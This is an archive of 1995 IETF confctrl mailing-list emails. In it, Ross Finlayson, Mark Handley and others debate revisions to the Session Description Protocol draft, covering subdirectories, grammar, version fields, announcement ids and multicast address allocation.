To: confctrl, krechmer@ix.netcom.com
Subject: Re: Report from Study Group 8 on multi-point data conferencing

	Wouldn't it be simpler to provide a pointer to the 
	home of an ASCII or PostScript version of documents like this 
	instead of sending out uuencoded versions of what I assume 
	is a Word document?


From owner-confctrl@ISI.EDU  Thu Apr 13 13:41:10 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA02812>; Thu, 13 Apr 1995 04:41:44 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA02808>; Thu, 13 Apr 1995 04:41:43 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA18119>; Thu, 13 Apr 1995 04:41:36 -0700
Received: from mortimer.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.03497-0@bells.cs.ucl.ac.uk>; Thu, 13 Apr 1995 12:41:14 +0100
To: krechmer@ix.netcom.com (Ken Krechmer)
Cc: confctrl
Subject: Re: Report from Study Group 8 on multi-point data conferencing
In-Reply-To: Your message of "Wed, 12 Apr 95 18:24:30 PDT." <199504130124.SAA14746@ix3.ix.netcom.com>
Date: Thu, 13 Apr 95 12:41:10 +0100
Message-Id: <2602.797773270@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>



 >begin 644 Q103952.DOC

i've HTML-ized this and it can be got at:

http://www.cs.ucl.ac.uk/mice/q103952.html

i'll remove it if this is not wanted, of course

thanks for sending this out...
jon

From owner-confctrl@ISI.EDU  Fri Apr 21 09:49:43 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA27230>; Fri, 21 Apr 1995 16:51:05 -0700
Received: from Sun.COM (koriel.Sun.COM) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA27226>; Fri, 21 Apr 1995 16:51:03 -0700
Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (koriel.Sun.COM)
	id AA25550; Fri, 21 Apr 95 16:51:01 PDT
Received: from auckland.Eng.Sun.COM by Eng.Sun.COM (5.x/SMI-5.3)
	id AA24368; Fri, 21 Apr 1995 16:50:57 -0700
Received: by auckland.Eng.Sun.COM (5.x/SMI-SVR4)
	id AA10691; Fri, 21 Apr 1995 16:49:43 -0700
Date: Fri, 21 Apr 1995 16:49:43 -0700
From: Ross.Finlayson@Eng.Sun.COM (Ross Finlayson)
Message-Id: <9504212349.AA10691@auckland.Eng.Sun.COM>
To: confctrl
Subject: Additional comments on the SDP draft
Reply-To: finlayson@Eng.Sun.COM
X-Sun-Charset: US-ASCII

Mark Handley et al,

Thanks for writing up the description of the SD protocol (& a proposal for
SDPv2).  Here some additional comments on the SDP draft.  In part these
expand upon the comments that I made (via the MBone) at the Danvers IETF.
(I apologise for taking so long to write this up.)

Subdirectories
==============
The one new feature in particular that I proposed at Danvers is
"subdirectories".  A subdirectory would use the same protocol (SDP) that the
root SD namespace uses, but would use a different group address/port.  Like
any other announcement, a subdirectory announcement would also have some
specified TTL.  We can support subdirectories simply by defining a new media
type "directory".

The major benefit of subdirectories is that they let us overcome the problem
of trying to maintain a single flat directory.  As the use of the MBone
continues to grow, the "single flat directory" approach will become
increasingly unworkable.  If the directory grows too large, we'll find that
the time period between repetitions of the same announcement will become
excessive.  Plus of course, the list of announcements in the UI will become
unwieldy.  This is already becoming a problem, especially during events such
as the IETF or WWW conferences, when we find "sd" being polluted by a
bazillion very similar, but disjoint, events - e.g., "WWW track 1 audio",
"WWW track 2 video" etc.  Instead, it would be better to be able to specify
a single "WWW" *subdirectory* in the sd root directory, and have the
individual events announced in this subdirectory.  Similarly, the cisco
folks could use a single subdirectory for their various test sessions.

Note also that any announcements that are made in a subdirectory will be
sent only to the subdirectory's group, not to the root sd group.  This is a
performance win, because typically only a subset of the nodes that have
subscribed to the sd root will also have chosen to join the subdirectory's
group (by 'opening' the subdirectory).

Like nested directories/folders in traditional file systems, subdirectories
will give individual users and/or workgroups - even within the same scope
(i.e., ttl) - more control over how they organize their namespace of
multicast sessions.  My major motivation for wanting to see this feature in
SDP is that lately I've been developing an experimental new multicast
session browser here at Sun.  (I'm hoping to someday make this
publicly-available outside Sun as well - although I can't make any promises
just yet.)  This system will (among other things) support subdirectories
(plus the ability for users to easily share announcements by copying and/or
moving them
between directories).  It is, of course, backwards-compatible with the
current SDP (in particular, we are using it right now as a replacement for
"sd"), and it would be ideal if many of its additional features (such as
subdirectories) end up being supported in SDP as well.

Some additional comments on the SDP draft:

1/ The protocol description is imprecise
========================================
(The authors would probably plead guilty to this.)  The protocol description
in the paper has an "ad hoc" feel to it, and there a number of things that
are unclear.  There really needs to be a more formal grammar.  Henning S.
(in his earlier messages) has already raised some questions about
whitespace, printable characters and "free format strings". Here some
additional questions that came to mind as I was reading the paper:
- Can there be more than one session description in a text payload?
  E.g., can I have:
	s=...
	etc.
	m=...
	s=...
	etc.
	m=...
  ?  The last paragraph on page 4 seems to suggest that this would be OK,
  but it's unclear.
- Does a "c=" in the media description portion apply just to that media, or
  would it also apply to any following media that don't have their own
  "c="?  E.g., in the following example:
	s=...
	...
	c=<connection0>
	m=<media1>
	c=<connection1>
	m=<media2>
	m=<media3>
	c=<connection3>
  what connection info is used for <media2>?  I presume it's the 'global'
  connection info <connection0> and not <connection1>, but it's not
  completely clear, and one could make a case either way.
- If each media description defines its own "c=", then does one also need to
  include a 'global' "c="?  If so, then does the latter have any meaning?
  (Presumably not)
- Similarly, if each media description defines its own "k=", then does a 
  'global' "k=", if present, have any meaning?

2/ There should be guidelines for how to choose multicast addresses
===================================================================
(Other people have mentioned this also.)  This is a general issue that
applies to all potential uses of multicast, not just SDP.  So far the only
thing that I've seen about this has been Van J discussion of the "sd"
algorithm from his SIGCOMM '94 tutorial notes.  At some point there'll need
to be some guidelines written up about this; they should then be referenced
from the SDP document.

3/ The 'grammar' often seems unnecessarily restrictive
======================================================
In many places the document still feels like it's not describing a protocol,
but instead, the behavior of the application (sd) that first implemented
it.  (In fact, I noticed that in a few places the document says "sd must..."
when it should really be saying something like "SDP-compliant applications
must...".)  This is reflected in the 'grammar' (which I put in quotes
because its definition is informal), which in places seems unnecessarily
restrictive.  For example, it seems unnecessary to restrict the order of
the ?= fields to be exactly the order given in the paper.  Instead, you
could just specify that "s=" must come first, followed by the other session
description fields in any order (but including the manditory "o=" and "c="
fields), followed by zero[*] or more media description sections.  Since many
of the fields are optional anyway, allowing them to occur in any order
doesn't make parsers any more complicated.

	[*] Note: the paper says that there must be "zero or more" media
	    description sections, but I'm not sure what it means to have a
	    advertisement with connection info (c=), but no media.  I guess
	    such an advertisement could be used for short announcements
	    (like the "Please don't start a radio session" announcement that
	    Steve Casner occasionally enters into sd).  But if the
	    connection info in such an announcement has no meaning, then
	    perhaps it shouldn't be required (or even allowed).

As another example, the inheritance rules seem somewhat ad hoc.  The paper
says that the "c=", "a=" and "k=" fields are the only ones that can be
redefined in media descriptions.  But one could make a case for allowing
some of the other fields (most notably "i=" and "b=") to be redefined also.
(For instance, one might want to attach additional (short) descriptions to
specific media specs.)  Mikko Tsokkinen made similar comments, I think.

4/ Evolution/extension mechanisms are not defined
=================================================
It's a mistake to try to close the door on possible future extensions.
Instead, it's better to have a small number of well-defined extension
mechanisms handy, just in case.  Otherwise, people will just end up defining
their own extension mechanisms (whether we like it or not), and we'll end up
in a similar mess to the one that the HTML people are in right now.

There are at least three possible avenues for evolution/extensions, each of
which should be addressed in the paper:
1/ Evolving the protocol.
  Here we already have real problems, because there's no version number
  field anywhere.  Big mistake!  In fact, because there's no version number
  field, interoperability between SDPv1 and SDPv2 is going to be a problem,
  because there's at least one incompatible difference between the two
  versions - namely, the different timestamp formats.  You will need to
  explain how (or even whether) SDPv1 and SDPv2 will interoperate.  If you
  don't intend them to interoperate - i.e., if you anticipate the root SDPv2
  directory using a different group address/port than the root SDPv1
  directory - then that would give you the freedom to make otherwise
  incompatible changes in SPDv2 (including adding a version field).
2/ Adding new media types.
  We should anticipate that more media types will be defined.  (E.g., We've
  recently seen one called "mumble", and earlier in this message I proposed
  "directory".)  The paper should probably include some guidelines about
  when to define a new media type vs. define a new attribute for an
  already-defined media type.  For instance, having a new media type
  "mumble" is almost certainly a mistake.  Instead, it should have been
  called "text", with "mumble" being the format (i.e., "a=fmt:mumble").
3/ Adding new attributes.
  We can't prevent people from defining their own attributes, but we might
  want to try to maintain a clear separation between the names of 'official'
  attributes and the names of unofficial/experimental attributes.  E.g., we
  might recommend something like x-<name> in the latter case.
  
5/ We need "unique ids" for announcements
=========================================
Section 5.1, paragraph 1 discusses the need to recognize distinct
announcement packets (perhaps with different group ids and/or ttls) as
really belonging to the same 'logical' announcement.  This implies the need
to be able to uniquely identify (logical) announcements.  To date the
implication has been that the session name (i.e., the "s=" field) is the
unique id, but this is an inadequate solution.  First, it means that the
session name can't being changed (e.g., to fix a typo), without creating a
new announcement.  (We've already seen this happen in "sd".)  Second (and
more importantly), we have the potential for name clashes - e.g., suppose
someone creates a session called "test", restricted just to their local
scope, and then someone else (outside this scope) decides to create their
own "test" session with a TTL that just happens to overlap the first
session's scope.

Instead, I suggest that (logical) announcements be identified by a
combination of (i) the "originator" (i.e., "o=") field, and
(ii) a creation timestamp (a new, manditory, field).

6/ The treatment of time is inconsistent
========================================
It seems awkward to use completely different representations for start/end
times and for repeat times.  Since you're already planning to change the
start/end timestamp format for SDPv2, you might consider making it more like
the repeat time format (except, of course, that start/end times would not be
allowed to use "*" and "," to indicate multiple times).  Similarly, you
might want to consider having "start time" and "duration" rather than
"start time" and "end time".

Also, the "repeat time" format needs to have a way of specifying the year,
and maybe it should also support a granularity of < 1 minute (although I
don't care so much about this).

7/ Miscellaneous comments:
==========================
- I didn't buy your argument on p4, paragraph 1 about the need to define the
  protocol with strict order and formatting rules, so that errors could
  easily be detected if a message is transformed by an email agent.  Another
  point of view is that the protocol should be designed to be *tolerant* of
  transformation by email agents.  The most typical such transformation
  would be the insertion of newline characters.  This implies that it might
  have been better if <newline> were *not* be treated as an end of record
  marker, but instead, just as white-space (like in HTML).

- Do we really need "h="?  The "o=" field seems to make it redundant.
  (I think someone brought up this point at Danvers also.)

- p7. Make clearer: "The value should be between 1025 and 65535 *inclusive*"
	
- p13. (the recommended bandwidth limits for announcements)
  How were these numbers arrived at?  You should probably give some more
  justification for these numbers, and perhaps also rules of thumb that
  could be used if it is ever decided to upgrade these numbers in the future
  (e.g., to reflect increased bandwidth capacities).
  
- P13. In your example, I think you mean "For TTL *64* or above" (not 63).

I closing, I hope my comments haven't come across as sounding too critical.
I'm really glad to see the SD protocol written up; there are just some loose
ends that need to be tied up before we progress to the next version.

	Ross.

From owner-confctrl@ISI.EDU  Sat Apr 22 14:01:35 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA16218>; Sat, 22 Apr 1995 05:04:09 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA16214>; Sat, 22 Apr 1995 05:04:07 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA21524>; Sat, 22 Apr 1995 05:04:04 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.09316-0@bells.cs.ucl.ac.uk>; Sat, 22 Apr 1995 13:03:48 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: finlayson@eng.sun.com
Cc: confctrl
Subject: Re: Additional comments on the SDP draft
In-Reply-To: Your message of "Fri, 21 Apr 95 16:49:43 PDT." <9504212349.AA10691@auckland.Eng.Sun.COM>
Date: Sat, 22 Apr 95 13:01:35 +0100
Message-Id: <16305.798552095@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>Mark Handley et al,
>
>Thanks for writing up the description of the SD protocol (& a proposal for
>SDPv2).  Here some additional comments on the SDP draft.  In part these
>expand upon the comments that I made (via the MBone) at the Danvers IETF.
>(I apologise for taking so long to write this up.)

Thanks for the lengthy comments - in general they reflect the attitude
the small group of us took in the 2nd of the two sessions in Danvers
(which unfortunately wasn't multicast).

The most important point that came from the 2nd meeting was that we
don't believe compatibility with SDP v1 should be critical in the
design of SDP v2.  This allows a number of changes that we couldn't
otherwise make.


>Subdirectories
>==============
>The one new feature in particular that I proposed at Danvers is
>"subdirectories".  A subdirectory would use the same protocol (SDP) that the
>root SD namespace uses, but would use a different group address/port.  Like
>any other announcement, a subdirectory announcement would also have some
>specified TTL.  We can support subdirectories simply by defining a new media
>type "directory".

This also came up in the afternoon meeting wrt administrative scoping
by multicast address.  Bill Fenner pointed out that if this is to
become widespread then a session directory tool will need to listen to
several multicast addresses (corresponding to different scopes).  If
that's going to be the case, then subdirectories as you mention them
are a simple extension.  However, they then complicate the issue of
multicast address allocation (if you have several subdirectories
within the same scope).  Unless you listen to all the subdirectories
you won't know which addresses are in use unless you allocate an
address range to the subdirectory itself.  

Strictly speaking this is not actually an SDP issue but and SDP *tool*
issue.  Maybe we should actually split the draft into two drafts.

>1/ The protocol description is imprecise
>========================================
>(The authors would probably plead guilty to this.)  The protocol description
>in the paper has an "ad hoc" feel to it, and there a number of things that
>are unclear.  There really needs to be a more formal grammar.  Henning S.
>(in his earlier messages) has already raised some questions about
>whitespace, printable characters and "free format strings". Here some
>additional questions that came to mind as I was reading the paper:
>- Can there be more than one session description in a text payload?
>  E.g., can I have:
>	s=...
>	etc.
>	m=...
>	s=...
>	etc.
>	m=...
>  ?  The last paragraph on page 4 seems to suggest that this would be OK,
>  but it's unclear.

Hmm, you're right it's ambiguous.  Again it's a question of the
description protocol vs the transmission mechanism.  The text protocol
describes a single session description.  The current sd transmission
mechanism only puts one session description in a packet.  However, it
you were transfering them by some other means you may put several
session descriptions in a "message".  

>- Does a "c=" in the media description portion apply just to that media, or
>  would it also apply to any following media that don't have their own
>  "c="?  E.g., in the following example:
>	s=...
>	...
>	c=<connection0>
>	m=<media1>
>	c=<connection1>
>	m=<media2>
>	m=<media3>
>	c=<connection3>
>  what connection info is used for <media2>?  I presume it's the 'global'
>  connection info <connection0> and not <connection1>, but it's not
>  completely clear, and one could make a case either way.

It's hierarchical.  Global fields are inherited by media fields unless
overridden.  It does say as much on page 5, but we can always make it
more explicit.

>- If each media description defines its own "c=", then does one also need to
>  include a 'global' "c="?  If so, then does the latter have any meaning?
>  (Presumably not)

The expectation is that this is not done.  The first media field does
not have a c= field, but inherits the global one.  It's likely we're
going to change "c" and "t" fields anyway.

>- Similarly, if each media description defines its own "k=", then does a 
>  'global' "k=", if present, have any meaning?

See above.  However in this case, it's also possible that the global key
might be used by explicit conference control.

>2/ There should be guidelines for how to choose multicast addresses
>===================================================================
>(Other people have mentioned this also.)  This is a general issue that
>applies to all potential uses of multicast, not just SDP.  So far the only
>thing that I've seen about this has been Van J discussion of the "sd"
>algorithm from his SIGCOMM '94 tutorial notes.  At some point there'll need
>to be some guidelines written up about this; they should then be referenced
>from the SDP document.

Agreed.

>3/ The 'grammar' often seems unnecessarily restrictive
>======================================================
>In many places the document still feels like it's not describing a protocol,
>but instead, the behavior of the application (sd) that first implemented
>it.  (In fact, I noticed that in a few places the document says "sd must..."
>when it should really be saying something like "SDP-compliant applications
>must...".)  This is reflected in the 'grammar' (which I put in quotes
>because its definition is informal), 

actually I did forward a EBNF grammar (though it does contain some errors and will be revised).  It was just too late for the draft.

>which in places seems unnecessarily
>restrictive.  For example, it seems unnecessary to restrict the order of
>the ?= fields to be exactly the order given in the paper.  Instead, you
>could just specify that "s=" must come first, followed by the other session
>description fields in any order (but including the manditory "o=" and "c="
>fields), followed by zero[*] or more media description sections.  Since many
>of the fields are optional anyway, allowing them to occur in any order
>doesn't make parsers any more complicated.

I'm slightly confused by this.  Allowing the fields to be in any order
doesn't make *session descriptions* any less restrictive, unless you
allow implied semantics to the field ordering, which I think is a very
bad idea.

We've had cases with sd where someone edited their sd cache and
accidentally merged two sessions (by deleting the s= line).  If we
specify a field ordering then this is simply not parsed.

>	[*] Note: the paper says that there must be "zero or more" media
>	    description sections, but I'm not sure what it means to have a
>	    advertisement with connection info (c=), but no media.  I guess
>	    such an advertisement could be used for short announcements
>	    (like the "Please don't start a radio session" announcement that
>	    Steve Casner occasionally enters into sd).  But if the
>	    connection info in such an announcement has no meaning, then
>	    perhaps it shouldn't be required (or even allowed).

It's there for making announcements to reserve a multicast address and
provide contact data for a session where the rest of the announcement
is encrypted.

>As another example, the inheritance rules seem somewhat ad hoc.  The paper
>says that the "c=", "a=" and "k=" fields are the only ones that can be
>redefined in media descriptions.  But one could make a case for allowing
>some of the other fields (most notably "i=" and "b=") to be redefined also.
>(For instance, one might want to attach additional (short) descriptions to
>specific media specs.)  Mikko Tsokkinen made similar comments, I think.

I agree about "b=", but this requires some refinement anyway, as we
discussed in Danvers.  I'm still unconvinced by the argument that
media fields benefit from having "i" fields to the extent that it's
worth adding the extra complexity to UIs to deal with it.  The
exceptions to this are to label individual streams where there are
(say) two video streams in one session and you want to use pruning to
select between the two.  Maybe there's a case for a "media name"
field, but this is different from an "i" field in that it should be
very short.

>4/ Evolution/extension mechanisms are not defined
>=================================================
>It's a mistake to try to close the door on possible future extensions.
>Instead, it's better to have a small number of well-defined extension
>mechanisms handy, just in case.  Otherwise, people will just end up defining
>their own extension mechanisms (whether we like it or not), and we'll end up
>in a similar mess to the one that the HTML people are in right now.
>
>There are at least three possible avenues for evolution/extensions, each of
>which should be addressed in the paper:
>1/ Evolving the protocol.
>  Here we already have real problems, because there's no version number
>  field anywhere.  Big mistake!  In fact, because there's no version number
>  field, interoperability between SDPv1 and SDPv2 is going to be a problem,
>  because there's at least one incompatible difference between the two
>  versions - namely, the different timestamp formats.  You will need to
>  explain how (or even whether) SDPv1 and SDPv2 will interoperate.  If you
>  don't intend them to interoperate - i.e., if you anticipate the root SDPv2
>  directory using a different group address/port than the root SDPv1
>  directory - then that would give you the freedom to make otherwise
>  incompatible changes in SPDv2 (including adding a version field).

Originally SPDv1 was meant to be a subset of SDPv2.  I'm moving away
from this idea, and I'm going to suggest a number of changes that will
mean that SDPv1 messages will not be parsed be an SDPv2 tool (without
extra legacy code or a gateway).  Given this, and the rule about
unknown fields rendering the announcement void, we can always add a
version number later if it's needed.  However, I don't feel strongly
about this - I'm only trying to keep the field count down.  

>2/ Adding new media types.
>  We should anticipate that more media types will be defined.  (E.g., We've
>  recently seen one called "mumble", and earlier in this message I proposed
>  "directory".)  The paper should probably include some guidelines about
>  when to define a new media type vs. define a new attribute for an
>  already-defined media type.  For instance, having a new media type
>  "mumble" is almost certainly a mistake.  Instead, it should have been
>  called "text", with "mumble" being the format (i.e., "a=fmt:mumble").

I agree with you entirely here.

>3/ Adding new attributes.
>  We can't prevent people from defining their own attributes, but we might
>  want to try to maintain a clear separation between the names of 'official'
>  attributes and the names of unofficial/experimental attributes.  E.g., we
>  might recommend something like x-<name> in the latter case.

Yes, I agree with you there.  It's also important that there is a
database kept somewhere of attributes (experimental or otherwise) and
their meaning.  Common ones will clearly be defined in the protocol
spec, but this won't be the case for experimental ones.

>5/ We need "unique ids" for announcements
>=========================================
...
>Instead, I suggest that (logical) announcements be identified by a
>combination of (i) the "originator" (i.e., "o=") field, and
>(ii) a creation timestamp (a new, manditory, field).

The issue of o=, h=, and unique ids is going to be revised.  I
strongly dislike using the session name as part of the id.  A
timestamp is one solution to this problem.  I'm looking at a few
others too.

>6/ The treatment of time is inconsistent
>========================================
>It seems awkward to use completely different representations for start/end
>times and for repeat times.  Since you're already planning to change the
>start/end timestamp format for SDPv2, you might consider making it more like
>the repeat time format (except, of course, that start/end times would not be
>allowed to use "*" and "," to indicate multiple times).  Similarly, you
>might want to consider having "start time" and "duration" rather than
>"start time" and "end time".
>
>Also, the "repeat time" format needs to have a way of specifying the year,
>and maybe it should also support a granularity of < 1 minute (although I
>don't care so much about this).

The concensus of the meeting in danvers was to move the start and stop
times to a redefined t field.  

>I closing, I hope my comments haven't come across as sounding too critical.
>I'm really glad to see the SD protocol written up; there are just some loose
>ends that need to be tied up before we progress to the next version.

I agree.  That's the purpose of an ID!  When I've had time to produce
a new draft draft, I'll circulate it to the list.  I hope this will be
in the next week or two.

Thanks for your comments,

Mark

From owner-confctrl@ISI.EDU  Mon Apr 24 10:49:37 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA18950>; Mon, 24 Apr 1995 17:53:26 -0700
Received: from Sun.COM (koriel.Sun.COM) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA18946>; Mon, 24 Apr 1995 17:53:25 -0700
Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (koriel.Sun.COM)
	id AA21626; Mon, 24 Apr 95 17:50:57 PDT
Received: from auckland.Eng.Sun.COM by Eng.Sun.COM (5.x/SMI-5.3)
	id AA21133; Mon, 24 Apr 1995 17:50:53 -0700
Received: by auckland.Eng.Sun.COM (5.x/SMI-SVR4)
	id AA21641; Mon, 24 Apr 1995 17:49:37 -0700
Date: Mon, 24 Apr 1995 17:49:37 -0700
From: Ross.Finlayson@Eng.Sun.COM (Ross Finlayson)
Message-Id: <9504250049.AA21641@auckland.Eng.Sun.COM>
To: M.Handley@cs.ucl.ac.uk
Subject: Re: Additional comments on the SDP draft
Cc: confctrl
Precedence: junk
X-Sun-Charset: US-ASCII

> >3/ The 'grammar' often seems unnecessarily restrictive
...
> For example, it seems unnecessary to restrict the order of
> >the ?= fields to be exactly the order given in the paper.  Instead, you
> >could just specify that "s=" must come first, followed by the other session
> >description fields in any order (but including the manditory "o=" and "c="
> >fields), followed by zero[*] or more media description sections. Since many
> >of the fields are optional anyway, allowing them to occur in any order
> >doesn't make parsers any more complicated.
> 
> I'm slightly confused by this.  Allowing the fields to be in any order
> doesn't make *session descriptions* any less restrictive, unless you
> allow implied semantics to the field ordering, which I think is a very
> bad idea.

No, I definitely wasn't suggesting this.  Relaxing the order restrictions on
the ?= fields merely increases the set of 'legal' descriptions; it doesn't
make the language any more expressive *semantically*.  Thus, this isn't a
big deal.  But I suspect that most implementations will adopt the philosophy
of "be liberal in what you accept", and will allow looser orderings
anyway (especially since this is likely to make the parser less complicated
- i.e., it can just be a switch statement inside a loop).  So you may as
well relax the grammar accordingly.

> >As another example, the inheritance rules seem somewhat ad hoc.  The paper
> >says that the "c=", "a=" and "k=" fields are the only ones that can be
> >redefined in media descriptions.  But one could make a case for allowing
> >some of the other fields (most notably "i=" and "b=") to be redefined also.
> >(For instance, one might want to attach additional (short) descriptions to
> >specific media specs.) 
...
> ... I'm still unconvinced by the argument that
> media fields benefit from having "i" fields to the extent that it's
> worth adding the extra complexity to UIs to deal with it.

But lets not forget that first and foremost we're designing a *protocol*,
not an application.  If it makes sense - which I think it does - to allow
short information strings to be associated with media descriptions, then the
protocol should allow it.  It's up to application designers to decide what
to do with this (if anything).

> > You will need to
> > explain how (or even whether) SDPv1 and SDPv2 will interoperate.  If you
> > don't intend them to interoperate - i.e., if you anticipate the root SDPv2
> > directory using a different group address/port than the root SDPv1
> > directory - then that would give you the freedom to make otherwise
> > incompatible changes in SPDv2 (including adding a version field).
> 
> Originally SPDv1 was meant to be a subset of SDPv2.  I'm moving away
> from this idea, and I'm going to suggest a number of changes that will
> mean that SDPv1 messages will not be parsed be an SDPv2 tool (without
> extra legacy code or a gateway).  Given this, and the rule about
> unknown fields rendering the announcement void, we can always add a
> version number later if it's needed.

No, please add a version field now, and make it manditory.  You won't
regret it.  Also, it'll be better to make the version field part of the
initial, *binary* portion of the payload (& probably at the start), in case
you ever want to change this in the future.  BTW, this reminds me: What
exactly do/did you have in mind for the first 4 bytes of the binary
payload?  (I see that you describe it just as "authentication data for proxy
announcements".)  Is this something that you anticipate being in SDPv2 too?

> >5/ We need "unique ids" for announcements
> >=========================================
> ...
> >Instead, I suggest that (logical) announcements be identified by a
> >combination of (i) the "originator" (i.e., "o=") field, and
> >(ii) a creation timestamp (a new, manditory, field).
> 
> The issue of o=, h=, and unique ids is going to be revised.  I
> strongly dislike using the session name as part of the id.

Good.

> >6/ The treatment of time is inconsistent
> >========================================
> ...
> The concensus of the meeting in danvers was to move the start and stop
> times to a redefined t field.

Yes, this is a good idea.

	Ross.

From owner-confctrl@ISI.EDU  Mon Apr 24 12:13:06 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA23368>; Mon, 24 Apr 1995 19:14:58 -0700
Received: from Sun.COM (koriel.Sun.COM) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA23359>; Mon, 24 Apr 1995 19:14:50 -0700
Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (koriel.Sun.COM)
	id AA01128; Mon, 24 Apr 95 19:14:27 PDT
Received: from auckland.Eng.Sun.COM by Eng.Sun.COM (5.x/SMI-5.3)
	id AA27187; Mon, 24 Apr 1995 19:14:23 -0700
Received: by auckland.Eng.Sun.COM (5.x/SMI-SVR4)
	id AA21724; Mon, 24 Apr 1995 19:13:06 -0700
Date: Mon, 24 Apr 1995 19:13:06 -0700
From: Ross.Finlayson@Eng.Sun.COM (Ross Finlayson)
Message-Id: <9504250213.AA21724@auckland.Eng.Sun.COM>
To: confctrl
Subject: Multiple session directories, and multicast address allocation
Precedence: junk
X-Sun-Charset: US-ASCII

A couple of people have asked me how multicast address allocation would work
in a world in which there is no longer just a single, flat session
directory, but instead several different session directories, possibly
(although not necessarily) linked together by subdirectory advertisements as
I outlined in my message last week.  In particular, if there is no longer a
*single* directory that's used for all multicast session announcements, and
if it is not practical to listen in on all possible directories (e.g.,
because you don't know them all), then how can the creator of a new session
*guarantee* that his new multicast address is not already in use by some
other session?

The short answer is that he can't.  In fact, even the *current* (single
directory) scheme can't guarantee that a new group address will not already
be in use elsewhere.  For instance, there might have been a temporary
network partition.  Or the group address might already be used by some
existing application for which SDP isn't used at all.  So, the ability to
monitor previous advertisements in a session directory can reduce the
possibility of multicast address collision, but cannot eliminate it.

Some other things to note:
- Unless there is also a collision in *port numbers*, the only potential
  problem caused by a collision of group addresses would be the delivery of
  extra packets on certain links.
- In IPv6 (with its increased address space), collisions of randomly-chosen
  multicast addresses should be extremely unlikely.
- A collision of both the multicast address and the port number could be
  thought of as being an *accidental* denial of service attack.
  In practice (& especially in the future), applications will need to be
  prepared for the possibility of denial of service attacks of this type.
  (And, regrettably, we can expect there to be more *deliberate* attacks
  than accidental ones.)  In particular, if a multicast session uses
  encryption, then any packets from another, colliding session, are unlikely
  to cause any problem (beyond, perhaps, a security alert).

	Ross.

ps. On a somewhat different subject:  At some point a UDP port for
"session directory" should probably be registered in "Assigned Numbers".
BTW, I notice that 9876 - the port that "sd" is currently using - is not
registered currently.

From owner-confctrl@ISI.EDU  Tue Apr 25 10:57:38 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA00953>; Tue, 25 Apr 1995 00:00:57 -0700
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-21)
	id <AA00949>; Tue, 25 Apr 1995 00:00:55 -0700
Message-Id: <199504250700.AA00949@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Tue, 25 Apr 1995 08:58:10 +0200
X-Mailer: exmh version 1.6 4/21/95
To: Ross.Finlayson@eng.sun.com (Ross Finlayson)
Cc: confctrl
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
Subject: Re: Multiple session directories, and multicast address allocation
In-Reply-To: Your message of "Mon, 24 Apr 1995 19:13:06 PDT." <9504250213.AA21724@auckland.Eng.Sun.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 25 Apr 1995 08:57:38 +0200
Sender: schulzrinne@fokus.gmd.de


> Some other things to note:
> - Unless there is also a collision in *port numbers*, the only potential
>   problem caused by a collision of group addresses would be the delivery of
>   extra packets on certain links.

However, this 'small' problem may well render an ISDN link or, worse, a 
transatlantic link inoperational. The worst part is that the user is 
unlikely to notice since the port number protects her.

Given the absence of a feasible alternate address allocation mechanism, 
I would be VERY reluctant to abandon whatever means we do have. It 
should be noted that only session creators would need 

Also, if presentation by applications rather than saving bandwidth for 
announcements (rather small anyway) is the issue, having a category 
field rather than separate multicast addresses would seem to be a 
better idea. This also avoids the problem of having to repeat 
announcements in different groups ('crossposting').

Henning



From owner-confctrl@ISI.EDU  Tue Apr 25 11:56:44 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA04744>; Tue, 25 Apr 1995 03:00:18 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA04740>; Tue, 25 Apr 1995 03:00:17 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA02880>; Tue, 25 Apr 1995 02:58:38 -0700
Received: from rodent.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.11270-0@bells.cs.ucl.ac.uk>; Tue, 25 Apr 1995 10:56:50 +0100
To: Ross.Finlayson@eng.sun.com (Ross Finlayson)
Cc: confctrl
Subject: Re: Multiple session directories, and multicast address allocation
In-Reply-To: Your message of "Mon, 24 Apr 95 19:13:06 PDT." <9504250213.AA21724@auckland.Eng.Sun.COM>
Date: Tue, 25 Apr 95 10:56:44 +0100
Message-Id: <894.798803804@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>


 >The short answer is that he can't.  In fact, even the *current* (single
 >directory) scheme can't guarantee that a new group address will not already
 >be in use elsewhere.  For instance, there might have been a temporary
 >network partition.  o
right, but if the partition partitions the directory the same way as
it partitions groups, then there is a homomorphism of users and
